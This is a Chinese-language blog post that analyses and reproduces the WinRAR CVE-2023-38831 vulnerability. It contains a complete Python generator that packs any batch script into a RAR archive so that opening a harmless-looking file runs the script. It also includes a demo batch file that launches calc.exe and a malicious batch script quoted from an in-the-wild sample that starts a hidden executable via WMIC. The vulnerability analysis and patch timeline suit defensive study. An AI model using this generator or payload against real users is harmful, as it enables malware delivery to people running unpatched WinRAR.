WinRAR 0day CVE-2023-38831分析复现

admin 2024年9月28日13:46:04评论21 views字数 2171阅读7分14秒阅读模式

最近有爆出WinRAR 中的 CVE-2023-38831 0day被在野利用来攻击金融交易类的用户。

利用流程:

WinRar 版本 < 6.23

->生成.RAR EXP文件

-> 受害者打开压缩包中的txt/jpg/pdf等后缀文件

-> 执行exe和对应文件。

WinRAR 0day CVE-2023-38831分析复现

利用python生成POC文件的代码如下:

import shutilimport os, sysfrom os.path import joinTEMPLATE_NAME = "TEMPLATE"OUTPUT_NAME = "CVE-2023-38831-poc.rar"BAIT_NAME = "test.txt"SCRIPT_NAME = "test1.bat"if len(sys.argv) > 3:    BAIT_NAME = os.path.basename(sys.argv[1])    SCRIPT_NAME = os.path.basename(sys.argv[2])    OUTPUT_NAME = os.path.basename(sys.argv[3])elif len(sys.argv) == 2 and sys.argv[1] == "poc":    passelse:    print("""Usage:          python .cve-2023-38831-exp-gen.py poc          python .cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")    sys.exit()BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")print("BAIT_NAME:", BAIT_NAME)print("SCRIPT_NAME:", SCRIPT_NAME)print("OUTPUT_NAME:", OUTPUT_NAME)if os.path.exists(TEMPLATE_NAME):    shutil.rmtree(TEMPLATE_NAME)os.mkdir(TEMPLATE_NAME)d = join(TEMPLATE_NAME, BAIT_NAME + "A")if not os.path.exists(d):    os.mkdir(d)shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))# if os.path.exists(OUTPUT_NAME):#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))#     sys.exit()shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)with open(TEMPLATE_NAME + ".zip", "rb") as f:    content = f.read()    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")os.remove(TEMPLATE_NAME + ".zip")with open(OUTPUT_NAME, "wb")  as f:    f.write(content)print("ok..")

其中test1.bat代码如下:

calc.exe &test.txt

漏洞分析:

2023 年 7 月 10 日,Group-IB威胁情报单位在 WinRAR 处理 ZIP 文件格式时发现了一个的漏洞。通过利用该程序中的漏洞,攻击者能够制作 ZIP 压缩包,作为各种恶意软件系列的载体。武器化的 ZIP 压缩包样本也在各类交易论坛上出现。该漏洞自 2023 年 4 月起就已被利用。

WinRAR 0day CVE-2023-38831分析复现

该漏洞补丁的测试版于2023年7月20日发布,最终更新版本WinRAR(版本 6.23)于 2023 年 8 月 2 日发布。

上述样本利用该漏洞通过伪装为任何文件格式来隐藏恶意程序,打开EXP压缩包看到的情况如下,通常是一个安全文件后缀和一个同名文件夹,双击文件就会运行恶意程序。

WinRAR 0day CVE-2023-38831分析复现

但真实运行过程如下:

WinRAR 0day CVE-2023-38831分析复现

同名文件夹中包含一个恶意bat本,脚本代码为:

WinRAR 0day CVE-2023-38831分析复现

@echo offif not DEFINED IS_MINIMIZED  set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit  cd %TEMP%  for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg"') do    for /F "delims=" %%G in ('dir /b /s "Images.ico"') do      WMIC process call create "%%~G" && "%%~K" && cd %CD% && exitexit

当用户打开 WinRAR 中想要访问的文件时,攻击的主要阶段发生,ShellExecute函数接收到错误的参数来打开文件。图片的文件名与搜索条件不匹配,导致其被跳过,发现不是找到想要的图片,而是发现并执行文件夹中的批处理文件。

原文始发于微信公众号(军机故阁):WinRAR 0day CVE-2023-38831分析复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日13:46:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WinRAR 0day CVE-2023-38831分析复现https://cn-sec.com/archives/1982711.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息